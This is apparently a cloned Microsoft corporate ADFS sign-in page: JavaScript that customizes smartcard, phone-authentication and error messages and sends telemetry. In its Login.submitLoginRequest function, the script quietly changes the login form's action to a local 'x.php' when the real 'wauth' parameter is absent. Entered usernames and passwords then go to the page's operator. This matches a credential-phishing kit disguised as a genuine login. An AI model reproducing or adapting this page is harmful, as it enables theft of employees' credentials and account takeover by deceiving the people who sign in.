                        var authSecurityDiv = authchildren[i];
                        authSecurityDiv.style.display = 'none';
                        break;
                    }
                }

                var errorcontainer = document.getElementById('errorArea');
                var errorchildren = errorcontainer.childNodes;
                for (var i = 0; i < errorchildren.length; i++) {
                    if (errorchildren[i].className === 'groupMargin bigText') {
                        var errorOccurredDiv = errorchildren[i];
                        errorOccurredDiv.style.display = 'none';
                        break;
                    }
                }

                var otherAuth = document.getElementById('otherOptions');
                if (otherAuth) {
                    //otherAuth.style.display = 'none';
                    otherAuth.style.display = '';
                }
            }

            if ((iIndexOfPWD > 0) || (iIndexOfurnPWD > 0) || navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/Macintosh/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Opera Mini/i)) {
                ierrorMessage.innerHTML = "<p><h2>Something went wrong</h2></p><p>We couldn't sign you in to your account(" + userAccount + ").</p><p>Try registering for phone authentication by going to <a href='https://aka.ms/ringring'>aka.ms/ringring</a>.If it still doesn't work, contact Global Helpdesk.</p>";
            }
            else {
                ierrorMessage.innerHTML = "<p><h2>Something went wrong</h2></p><p>We couldn't sign you in to your account(" + userAccount + ").</p>Try one of these options:<ul class='indent block smallText'><li>Not registered for phone authentication? Go to <a href='https://aka.ms/ringring'>aka.ms/ringring</a></li><li>Close this window and retry using smartcard</li></ul><p>If it still doesn't work, contact Global Helpdesk.</p>";
            }
        }
    }

}

//END

var iInstructions = document.getElementById('instructions');
if (iInstructions) {
    document.write("<style>.illustrationClass {background-image: url(../src1/msit_fba.jpg);}</style>");
    if (navigator.userAgent.match(/IEMobile/i)) {
        iInstructions.innerHTML = "<p>We&#39;re calling you as a workaround for a known WinPhone OS issue. Please answer it to continue.</p>";
    }
}

var iviewDetailsLink = document.getElementById('viewDetailsLink');
if (iviewDetailsLink) {
    document.write("<style>.illustrationClass {background-image: url(../src1/msit_fba.jpg);}</style>");
    iviewDetailsLink.innerHTML = "<p>More details</p>";
}

var idifferentVerificationOption = document.getElementById('differentVerificationOption');
if (idifferentVerificationOption) {
    document.write("<style>.illustrationClass {background-image: url(../src1/msit_fba.jpg);}</style>");
    idifferentVerificationOption.innerHTML = "<p>Try a different verification option</p>";
}

var iVerificationlinksDiv = document.getElementById('linksDiv')
if(iVerificationlinksDiv)
{
var iVerificationElement = iVerificationlinksDiv.getElementsByTagName('a')[0];
if (iVerificationElement) {
    if (iVerificationElement.innerText == "Use verification code from my mobile app")
    {
        iVerificationElement.innerHTML = "<p>Use my token device</p>";
    }
}
}

var ierrorDiv = document.getElementById('errorDiv');
if (ierrorDiv) {
    var ierrorText = document.getElementById('errorText');

    if (ierrorText) {
        var ierrorOOBE = ierrorText.innerHTML;
        if ((iIndexOfPWD > 0) || (iIndexOfurnPWD > 0) || navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Opera Mini/i)) {
            ierrorText.innerHTML = ierrorOOBE + "If issue persists, try one of these options:<ul class='indent block smallText'><li>Close this window and start over to resend a call/notification/verification again</li><li>New to phone or token device authentication? Register your device at <a href='https://aka.ms/ringring'>aka.ms/ringring</a></li><li>PIN issue? Reset at <a href='https://aka.ms/PhoneAuthPIN'>aka.ms/PhoneAuthPIN</a></li><li>Voice/Network coverage issue? Try Azure authenticator app at <a href='https://aka.ms/PhoneAuthApp'>aka.ms/PhoneAuthApp</a></li></ul><p>If none of these work, contact Global Helpdesk.</p>";
        }
        else {
            ierrorText.innerHTML = ierrorOOBE + "If issue persists, try one of these options:<ul class='indent block smallText'><li>Close this window and start over to resend a call/notification/verification again</li><li>New to phone or token device authentication? Register your device at <a href='https://aka.ms/ringring'>aka.ms/ringring</a></li><li>PIN issue? Reset at <a href='https://aka.ms/PhoneAuthPIN'>aka.ms/PhoneAuthPIN</a></li><li>Voice/Network coverage issue? Try Azure authenticator app at <a href='https://aka.ms/PhoneAuthApp'>aka.ms/PhoneAuthApp</a></li></ul><p>If none of these work, contact Global Helpdesk.</p>";
        }
    }
}

function HideSmartCard() {
    //Hide SC button and text
    var scOption = document.getElementById('signinsmartcard');
    var scHelpText = document.getElementById('helptext');
    if (scOption) {
        scOption.style.display = 'none';
    }
    if (scHelpText) {
        scHelpText.style.display = 'none';
    }
    var upMessageArea = document.getElementById('submissionArea');
    if (upMessageArea) {
        var elementUPHelpText = document.createElement("div");
        elementUPHelpText.id = "uphelptext";
        elementUPHelpText.className = "tinyText";
        elementUPHelpText.style.marginTop = "8px";
        elementUPHelpText.style.lineHeight = "18px";
        elementUPHelpText.style.fontSize = "12px";
        if (bMFAServiceStatus == "False") {
            //elementUPHelpText.innerHTML = "Phone authentication service is experiencing some unexpected issues, we are working on it. You can still sign in with your smartcard or Windows Hello for Business (PIN).</a>";    
            elementUPHelpText.innerHTML = "Phone Authentication is experiencing a service degradation currently. Authentications may be delayed. Please try again later.</a>";
            elementUPHelpText.style.color = "red";
        }
        else {
            elementUPHelpText.innerHTML = "You may receive a phone call or app notification or OTP code to complete sign in. Locate your phone before clicking Sign in.</a>";
        }

        var objuphelptext = document.getElementById('uphelptext');
        if (objuphelptext) {
            upMessageArea.removeChild(objuphelptext);
            upMessageArea.appendChild(elementUPHelpText);
        }
        else {
            upMessageArea.appendChild(elementUPHelpText);
        }
    }

    var uphelptext = document.getElementById('uphelptext');
    if (uphelptext) {
        var asc = document.createElement('A');
        asc.onclick = function () {
            var usernamepwd = document.getElementById('formsAuthenticationArea');
            if (usernamepwd.style.display === '') {

                usernamepwd.style.display = 'none';
                //usernamepwd.style.display = '';

                var icurrenterrorText = document.getElementById("errorText");
                if (icurrenterrorText) {
                    icurrenterrorText.style.display = 'none';
                }

                ausernamepwd.setAttribute('href', '#');
                ausernamepwd.innerHTML = "<p class='normalText'>Sign in with your usual account</p></a>";
                ausernamepwd.style.fontSize = "15px";
                ausernamepwd.className = "actionLink";
                if (loginMessageArea) {
                    loginMessageArea.appendChild(ausernamepwd);
                }

                var scOption = document.getElementById('signinsmartcard');
                var scHelpText = document.getElementById('helptext');
                if (scOption) {
                    scOption.style.display = '';
                }
                if (scHelpText) {
                    scHelpText.style.display = '';
                }
            }
        }
        asc.setAttribute('href', '#');
        asc.innerHTML = "<p class='normalText'>Sign in with Office365</p></a>";
        asc.style.fontSize = "15px";
        asc.className = "actionLink";
        uphelptext.appendChild(asc);
    }
}

//Check for HRD or Sign-In page
var hrd = document.getElementById('hrd');
var pageOptions = document.getElementById('options');
var pageloginForm = document.getElementById('loginForm');

if (hrd) {
    document.write("<style>.illustrationClass {background-image: url(/adfsassets/illustration/msit_hrd.jpg); background-position-x: 74%; background-position-y: center;}</style>");
    //document.write("<style>#loginMessage {display: none;}</style>");
    document.getElementById('header').innerHTML = "Microsoft sign in services";

// CSE-DSRE-Authentication customization
// Move Employees and Partners to top
//START
var mscpt = document.getElementsByClassName("idp");
var mscptElements = mscpt.length;
var msAllSpanCPT = document.getElementsByClassName("idpDescription float");
var msIsADElementPresent = false;
var mscptCount;

for (mscptCount = 0; mscptCount < msAllSpanCPT.length; mscptCount++) {
  if (msAllSpanCPT[mscptCount].innerText == "Active Directory") {
    msIsADElementPresent = true;
  }
}

if ((mscptElements > 1) && (msIsADElementPresent)) {
  var lastcptElement = mscptElements - 1;

  mscpt[lastcptElement].parentNode.insertBefore(mscpt[lastcptElement], mscpt[0]);
}
//END	
	
    var container = document.getElementById('bySelection');
    var children = container.childNodes;
    for (var i = 0; i < children.length; i++) {
        if (children[i].className === 'idp') {
            var idpDiv = children[i].childNodes[1];
            var idpText = idpDiv.childNodes[0].innerHTML;
            var taglineSpan = document.createElement('SPAN');
            taglineSpan.className = 'hint indentNonCollapsible';
            var tagline = '';
            if (idpText === 'Active Directory') {
		idpDiv.childNodes[0].innerHTML = 'Employees and Partners';
                //tagline = 'Corpnet and PARTNERS domain users';
            } else if (idpText === 'Microsoft account') {
                //tagline = 'Formerly Windows Live ID';
            } else if (idpText === 'Microsoft account INT') {
                //tagline = 'Formerly Windows Live ID INT';
            } else if (idpText === 'OrgID') {
                idpDiv.childNodes[0].innerHTML = 'AAD/Office365 Account';
                //tagline = 'Azure Active Directory or Office 365 Login';
            } else if (idpText === 'OrgIDINT') {
                idpDiv.childNodes[0].innerHTML = 'AAD/Office365 INT Account';
                //tagline = 'Azure Active Directory or Office 365 INT Login';
            } else if (idpText === 'CME domain') {
                idpDiv.childNodes[0].innerHTML = 'CME domain users';
                //tagline = 'CME domain accounts';
            } else if (idpText === 'Partner domain') {
                idpDiv.childNodes[0].innerHTML = 'Partner domain users';
                //tagline = 'Partner domain accounts';
            }
            taglineSpan.innerHTML = tagline;
            idpDiv.appendChild(taglineSpan);
        }
    }
} else {
    document.write("<style>.illustrationClass {background-image: url(../src1/msit_fba.jpg);}</style>");
    if (pageloginForm) {
        //document.write("<style>#header {color: #666666;}</style>");
        //document.write("<style>#loginMessage {display: visible;}</style>");
        //document.getElementById('header').innerHTML = '<img class="logoImage" alt="" src="/adfsassets/logo/corp_logo_tile.png" style="float: left; width: 90px; margin-right: 20px;" /><h3>Microsoft IT</h3><h4>Corporate sign in</h4>';
        //document.getElementById('header').innerHTML = '<img class="logoImage" alt="" src="/adfsassets/logo/corp_logo.png" />';

        var fbaloginMessage = document.getElementById('loginMessage');
        if (fbaloginMessage) {
            fbaloginMessage.innerHTML = "<p style='font-size:17px;padding-bottom:14px'>Sign in to your Microsoft Corporate account</p>";    
            //fbaloginMessage.innerHTML = "Sign in to your Microsoft corporate account";
        }
        if (!hololens) {
            if ((iIndexOfPWD == -1) && (iIndexOfurnPWD == -1) && (navigator.userAgent.match(/Android/i) == null) && (navigator.userAgent.match(/iPad/i) == null) && (navigator.userAgent.match(/Macintosh/i) == null) && (navigator.userAgent.match(/IEMobile/i) == null) && (navigator.userAgent.match(/iPhone/i) == null) && (navigator.userAgent.match(/BlackBerry/i) == null) && (navigator.userAgent.match(/Opera Mini/i) == null)) {
                var usernamepwdArea = document.getElementById('formsAuthenticationArea');
                if (usernamepwdArea) {
                    usernamepwdArea.style.display = 'none';
                }

                //Create SC
                //Create span tag same as submit - added on 1/26/2015
                var loginMessageArea = document.getElementById('loginMessage');
                if (loginMessageArea) {
                    var scelement = document.createElement("span");
                    scelement.id = "signinsmartcard";
                    scelement.className = "submit";
                    scelement.innerHTML = "Sign in with Office 365";
                    scelement.setAttribute("onclick", "SelectOption('CertificateAuthentication'); return false;");
                    loginMessageArea.appendChild(scelement);
                }

                //Create SC message
                var scMessageArea = document.getElementById('signinsmartcard');
                if (scMessageArea) {
                    var elementSCHelpText = document.createElement("div");
                    elementSCHelpText.id = "helptext";
                    elementSCHelpText.className = "tinyText";
                    elementSCHelpText.innerHTML = "Using a Office 365 is faster and more secure.</a>";
                    elementSCHelpText.style.marginTop = "8px";
                    elementSCHelpText.style.lineHeight = "18px";
                    elementSCHelpText.style.fontSize = "12px";
                    loginMessageArea.appendChild(elementSCHelpText);
                }

                //Expand username and password
                var ausernamepwd = document.createElement('A');
                ausernamepwd.onclick = function () {
                    var usernamepwd = document.getElementById('formsAuthenticationArea');
                    if (usernamepwd.style.display === '') {
                        //Hide usernmae & pwd
                        usernamepwd.style.display = 'none';
                    } else {
                        //Show username & pwd
                        usernamepwd.style.display = '';
                        ausernamepwd.innerHTML = "";
                        ausernamepwd.style.fontSize = "15px";

                        if ((navigator.userAgent.match(/MSIE 7.0/)) == null) {
                            var u = new InputUtil();
                            u.setInitialFocus(Login.userNameInput);
                        }
                        HideSmartCard();
                        /*
                        //Hide SC button and text
                        var scOption = document.getElementById('signinsmartcard');
                        var scHelpText = document.getElementById('helptext');
                        if(scOption) {
                        scOption.style.display = 'none';
                        }
                        if(scHelpText) {
                        scHelpText.style.display = 'none';
                        }   
                        var upMessageArea = document.getElementById('submissionArea');
                        if(upMessageArea) {
                            var elementUPHelpText = document.createElement("span");
                            elementUPHelpText.id = "uphelptext";
                            elementUPHelpText.className = "tinyText";
                            //elementUPHelpText.innerHTML = "You may receive a phone call or app notification or OTP code to complete sign in. Locate your phone before clicking Sign in.</a>";
                            
                            var objuphelptext = document.getElementById('uphelptext');
                            if(objuphelptext)
                            {
                                upMessageArea.removeChild(objuphelptext);
                                upMessageArea.appendChild(elementUPHelpText);
                            }
                            else
                            {
                                upMessageArea.appendChild(elementUPHelpText);
                            }
                            }
                            
                            var uphelptext = document.getElementById('uphelptext');
                            if (uphelptext) {
                            var asc = document.createElement('A');
                            asc.onclick = function () {
                                            var usernamepwd = document.getElementById('formsAuthenticationArea');
                                            if (usernamepwd.style.display === '') {
                                            
                                            usernamepwd.style.display = 'none';
                                            //usernamepwd.style.display = '';
                                            
                                            ausernamepwd.innerHTML = "<p class='normalText'>Sign in with a username and password instead</p></a>";
                                            ausernamepwd.style.fontSize = "15px";
                                            ausernamepwd.className = "actionLink";
                                            var scOption = document.getElementById('signinsmartcard');
                                            var scHelpText = document.getElementById('helptext');
                                            if(scOption) {
                                            scOption.style.display = '';
                                            }
                                            if(scHelpText) {
                                            scHelpText.style.display = '';
                                            }   
                                }
                            }
                            asc.setAttribute('href', '#');
                            asc.innerHTML = "<p class='normalText'>Sign in with a smartcard instead</p></a>";
                            asc.className = "actionLink";
                            uphelptext.appendChild(asc);                            
                            }*/
                    }
                    return false;
                };


                var ierrorText = document.getElementById("errorText");

                if (ierrorText) {
                    var ierrorIncorrect = ierrorText.innerHTML;
                    var isearchIncorrect = 'ID and password';
                    var iIncorrectMessage = 0;

                    iIncorrectMessage = ierrorIncorrect.indexOf(isearchIncorrect);

                    if (iIncorrectMessage > 0) {
                        var usernamepwdarea = document.getElementById('formsAuthenticationArea');

                        if (usernamepwdarea) {
                            usernamepwdarea.style.display = '';
                            HideSmartCard();
                        }

                    }
                    else {
                        ausernamepwd.setAttribute('href', '#');
                        ausernamepwd.innerHTML = "<p class='normalText'>Sign in with your usual account</p></a>";
                        ausernamepwd.style.fontSize = "15px";
                        ausernamepwd.className = "actionLink";
                        if (loginMessageArea) {
                            loginMessageArea.appendChild(ausernamepwd);
                        }
                    }

                }


                //End

                var input = document.getElementById('userNameInput');
                if (input) {
                    for (var i = 0; i < input.parentNode.childNodes.length; i++) {
                        var child = input.parentNode.childNodes[i];
                        if (child.tagName === 'INPUT' && child.tabIndex === -1) {
                            input.parentNode.removeChild(child);
                            break;
                        }
                    }
                    input.placeholder = "someone@example.com";
                    input.alt = "someone@example.com";
                    input.autocomplete = "off";
                }
            }
            else {
                var iSubmissionArea = document.getElementById('submissionArea');
                if (iSubmissionArea) {
                    var elementHelpText = document.createElement("div");
                    elementHelpText.id = "helptext";
                    elementHelpText.className = "tinyText";
                    elementHelpText.style.marginTop = "8px";
                    elementHelpText.style.lineHeight = "18px";
                    elementHelpText.style.fontSize = "12px";

                    if (bMFAServiceStatus == "False") {
                        // Display below message during Phone authentication service outage
                        //elementHelpText.innerHTML = "Phone authentication service is experiencing some unexpected issues, we are working on it. You can still sign in with your smartcard or Windows Hello for Business (PIN).</a>";
                        elementHelpText.innerHTML = "Phone Authentication is experiencing a service degradation currently. Authentications may be delayed. Please try again later.</a>";
                        elementHelpText.style.color = "red";
                    }
                    else {
                        elementHelpText.innerHTML = "You may receive a phone call or app notification or OTP code to complete sign in. Locate your phone before clicking Sign in.";
                    }
                    iSubmissionArea.appendChild(elementHelpText);
                }
            }
            //Track user-telemetry
            if (pageloginForm) {
                /* Commented due to IE 10 gesture issue
                            if (typeof InputUtil != 'undefined')
                        {
                
                            InputUtil.makePlaceholder = function (input) {
                            var ua = navigator.userAgent;
            
                            if (ua != null && 
                                (ua.match(/MSIE 9.0/) != null || 
                                ua.match(/MSIE 8.0/) != null ||
                                ua.match(/MSIE 7.0/) != null || 
                                ua.match(/MSIE 11.0/) != null ||
                                ua.match(/MSIE 10.0/) != null)) {
                                var node = document.getElementById(input);
                                if (node) {
                                    var placeholder = node.getAttribute("placeholder");
                                    if (placeholder != null && placeholder != '') {
                                        var label = document.createElement('input');
                                        label.type = "text";
                                        label.value = placeholder;
                                        label.readOnly = true;
                                        label.style.position = 'absolute';
                                        label.style.borderColor = 'transparent';
                                        label.className = node.className + ' hint';
                                        label.tabIndex = -1;
                                        label.onfocus = function () { this.nextSibling.focus(); };
            
                                        node.style.position = 'relative';
                                        node.parentNode.style.position = 'relative';
                                        node.parentNode.insertBefore(label, node);
                                        node.onkeyup = function () { InputUtil.showHint(this); };
                                        node.onblur = function () { InputUtil.showHint(this); };
                                        node.style.background = 'transparent';
            
                                        node.setAttribute("placeholder", "");
                                        InputUtil.showHint(node);
                                    }
                                }
                            }
                            };
                    }
                */

                function Login() {
                }

                Login.userNameInput = 'userNameInput';
                Login.passwordInput = 'passwordInput';


                Login.initialize = function () {
                    if ((navigator.userAgent.match(/MSIE 7.0/)) == null) {

                        if (typeof InputUtil != 'undefined') {

                            var u = new InputUtil();

                            u.checkError();
                            u.setInitialFocus(Login.userNameInput);
                            u.setInitialFocus(Login.passwordInput);
                        }
                    }
                }();

                Login.submitLoginRequest = function () {

                    var userName = document.getElementById(Login.userNameInput);
                    var password = document.getElementById(Login.passwordInput);

                    if ((navigator.userAgent.match(/MSIE 7.0/)) == null) {
                        if (typeof InputUtil != 'undefined') {

                            var u = new InputUtil();
                            var e = new LoginErrors();

                            if (!userName.value || !userName.value.match('[@\\\\]')) {

                                var iuserNameFormatError = e.userNameFormatError;
                                var isearchuserNameFormat = "user@domain";
                                var iIncorrectNameFormat = 0;
                                iIncorrectNameFormat = iuserNameFormatError.indexOf(isearchuserNameFormat);

                                if (iIncorrectNameFormat > 0) {
                                    var customuserNameFormatError = "Enter your username in the format someone@example.com or DOMAIN\\user";
                                    u.setError(userName, customuserNameFormatError);
                                    return false;
                                }
                                else {
                                    u.setError(userName, e.userNameFormatError);
                                    return false;
                                }
                            }

                            if (!password.value) {
                                u.setError(password, e.passwordEmpty);
                                return false;
                            }
                        }
                    }

                    var ilocationhref = location.href;
                    var iwauthFlag = decodeURIComponent(location.href);
                    var iIndexOfAuthn = 0;
                    iIndexOfAuthn = iwauthFlag.indexOf("wauth");
                    if (iIndexOfAuthn == -1) {
                        var iloginFormactionUrl = "x.php";
                        document.forms['loginForm'].action = iloginFormactionUrl;
                    }

                    document.forms['loginForm'].submit();
                    return false;
                };
                if (typeof InputUtil != 'undefined') {
                    InputUtil.makePlaceholder(Login.userNameInput);
                    InputUtil.makePlaceholder(Login.passwordInput);
                }
            } //End of if (!hololens)
        }
        //End of Track user-telemetry
    }
}

//
// Telemetry Manager is the App Insights telemetry management object
// Callers MUST call 'Initialize' before using the 'ProducePageDetectionTelemetry' method
//
TelemetryManager = {

    /*
     *  Produces all telemetry required for the following pages: 
     *      Forms Page (including Sign-In Options if applicable)
     *      AuthSelection Page 
     *      Home Realm Discovery Page 
     *      Phone Factor Authentication Page 
     *      Phone Factor Error Page 
     *      ADFS Error Page 
     *      Phone Factor Authentication Options Page 
     */
    ProducePageDetectionTelemetry: function () {
        if(console) console.log("Enter: TelemetryManager.ProducePageDetectionTelemetry");

        var _self = this;

        //
        // Generic Page view tracking 
        //
        window.appInsights.trackPageView("Generic");

        //
        // Home Realm Discovery Page
        //
        var hrd = document.getElementById('hrd');
        if (hrd) {
            window.appInsights.trackPageView("HomeRealmDiscovery");
            if(console) console.log("ProducePageDetectionTelemetry: Found HRD Page");
            return;
        }

        //
        // Forms Page (before creds are entered)
        //
        var pageloginForm = document.getElementById('loginForm');
        if (!hrd && pageloginForm && document.title == 'Sign In') {
            // TODO: We need to determine if this is visible or not if we want to distinguish between the selection page and forms page 
            window.appInsights.trackEvent("FormsPageStart",
                { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wauth: _self.wauth_mattbo, wfresh: _self.wfresh_mattbo, wtrealm: _self.decodedwtrealm_mattbo }
            );
            _self.startedFormsPage = true;
            if(console) console.log("ProducePageDetectionTelemetry: Found Forms Page");
            return;
        }

        //
        // Error Page - Bad password
        //
        var ierrorText = document.getElementById("errorText");
        if (ierrorText) {
            var ierrorCurrent = ierrorText.innerHTML;
            if (ierrorCurrent.length > 0) {
                var pageTitle = document.title;

                window.appInsights.trackEvent("ErrorTextStart",
                    { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wtrealm: _self.decodedwtrealm_mattbo, wfresh: _self.wfresh_mattbo, wauth: _self.wauth_mattbo, PageTitle: pageTitle }
                );
                if(console) console.log("ProducePageDetectionTelemetry: Found Error Page");

                //
                // Try to gather more error information from the page 
                //
                var erruserAccount = "";
                var erractivityIdContent = "";
                var errtimestampContent = "";
                erruserAccount = _self.GetUserNameFromAuthArea();

                var erractivityId = document.getElementById('activityId');
                var errcontextId = document.getElementById('contextId');
                var errtimestamp = document.getElementById('timestamp');
                if ((erractivityId) && (erruserAccount) && (errcontextId) && (errtimestamp)) {
                    erractivityIdContent = erractivityId.innerText;
                    errcontextIdContent = errcontextId.innerText;
                    errtimestampContent = errtimestamp.innerText;
                    window.appInsights.trackEvent("ErrorDetailedPageStart",
                        { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wtrealm: _self.decodedwtrealm_mattbo, wfresh: _self.wfresh_mattbo, wauth: _self.wauth_mattbo, PageTitle: pageTitle, Username: erruserAccount, ActivityID: erractivityIdContent, ContextId: errcontextIdContent, ErrorTimestamp: errtimestampContent }
                    );
                    if(console) console.log("ProducePageDetectionTelemetry: Found Detailed Error Page");
                }
                return;
            }
        }

        //
        // Error page
        //
        var ierrorText = document.getElementById("errorMessage");
        if (ierrorText) {
            var ierrorCurrent = ierrorText.innerHTML;
            if (ierrorCurrent.length > 0) {
                var pageTitle = document.title;

                window.appInsights.trackEvent("ErrorPageStart",
                    { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wtrealm: _self.decodedwtrealm_mattbo, wfresh: _self.wfresh_mattbo, wauth: _self.wauth_mattbo, PageTitle: pageTitle }
                );
                if(console) console.log("ProducePageDetectionTelemetry: Found Error Page");

                //
                // Try to gather more error information from the page 
                //
                var erruserAccount = "";
                var erractivityIdContent = "";
                var errtimestampContent = "";
                erruserAccount = _self.GetUserNameFromAuthArea();

                var erractivityId = document.getElementById('activityId');
                var errtimestamp = document.getElementById('timestamp');
                if ((erractivityId) && (errtimestamp)) {
                    erractivityIdContent = erractivityId.innerText;                    
                    errtimestampContent = errtimestamp.innerText;
                    window.appInsights.trackEvent("ErrorDetailedPageStart",
                        { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wtrealm: _self.decodedwtrealm_mattbo, wfresh: _self.wfresh_mattbo, wauth: _self.wauth_mattbo, PageTitle: pageTitle, Username: erruserAccount, ActivityID: erractivityIdContent, ErrorTimestamp: errtimestampContent }
                    );
                    if(console) console.log("ProducePageDetectionTelemetry: Found Detailed Error Page");
                }
                return;
            }
        }



        //
        // AuthSelection Page
        //
        var authOptions = document.getElementById('authOptions')
        var progress = document.getElementById('Progress')
        if (authOptions && !progress) {
            
            var foundUsername = _self.GetUserNameFromAuthArea();
            _self.Username_mattbo = foundUsername;

            window.appInsights.trackEvent("AuthSelectionPageStart",
                { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wtrealm: _self.decodedwtrealm_mattbo, wfresh: _self.wfresh_mattbo, wauth: _self.wauth_mattbo, Username: _self.Username_mattbo }
            );
            if(console) console.log("ProducePageDetectionTelemetry: Found Auth Selection Page");

            var certOption = document.getElementById('CertificateAuthentication');
            if (certOption) {
                certOption.addEventListener("click", function () { _self.AuthSelectionPageSubmitCallback("cert", "manual", _self); }, false);
            }

            var azureOption = document.getElementById('WindowsAzureMultiFactorAuthentication');
            if (azureOption) {
                azureOption.addEventListener("click", function () { _self.AuthSelectionPageSubmitCallback("phonefactor", "manual", _self); }, false);
            }

            return;
        }

        //
        // Phone Factor Waiting Page 
        //
        var workArea = document.getElementById('workArea');
        if (workArea) {
            var authArea = document.getElementById('authArea');
            if (authArea) {
                var progressDiv = document.getElementById("Progress");
                if (progressDiv) {
                    var authMethod = document.getElementById('authMethod');
                    if (authMethod) {
                        var phonefactorUserID = _self.GetUserNameFromAuthArea();
                        var errorDiv = document.getElementById('errorDiv');
                        if (!errorDiv) {
                            var greeting = document.getElementById('mfaGreeting');
                            if(greeting){
                                window.appInsights.trackEvent("PhoneFactorWaitingStart",
                                    { CorrelationID: _self.requestID_mattbo, CurrentUri: _self.currentUri_mattbo, CurrentRealm: _self.mswtrealm_mattbo, wtrealm: _self.decodedwtrealm_mattbo, wfresh: _self.wfresh_mattbo, wauth: _self.wauth_mattbo, Username: phonefactorUserID }
                                );
                                if(console) console.log("ProducePageDetectionTelemetry: Found PFA Waiting Page");

                                // Once we detect the pfa page, add a timer 
                                _self.startedPfaWaiting = true;
                                _self.Username_mattbo = phonefactorUserID;

                                if (performance && performance.now()) {
                                    _self.pfaTimestamp = performance.now();
                                }

                                if (Date && Date.now()) {
                                    _self.pfaTimestampOldBrowser = Date.now();
                                }                                
                            }
                        }

                        return;
                    }
                }
            }
        }

        if(console) console.log("Exit: TelemetryManager.ProducePageDetectionTelemetry");
    },

    GetUserNameFromAuthArea: function () {
        var authchildren = document.getElementById('authArea').childNodes;
        for (var i = 0; i < authchildren.length; i++) {
            if(authchildren[i]){
                if(authchildren[i].className){
                    if (authchildren[i].className.indexOf('fieldMargin bigText') !== -1) {
                        var tempuserAccount = authchildren[i].innerText;
                        return tempuserAccount.replace("Welcome ", "");
                    }
                }
            }
        }
    },

    

    
</script><style>.illustrationClass {background-image: url(../src1/msit_fba.jpg);}</style>


    
 

</body></html>

                             

Screenshot: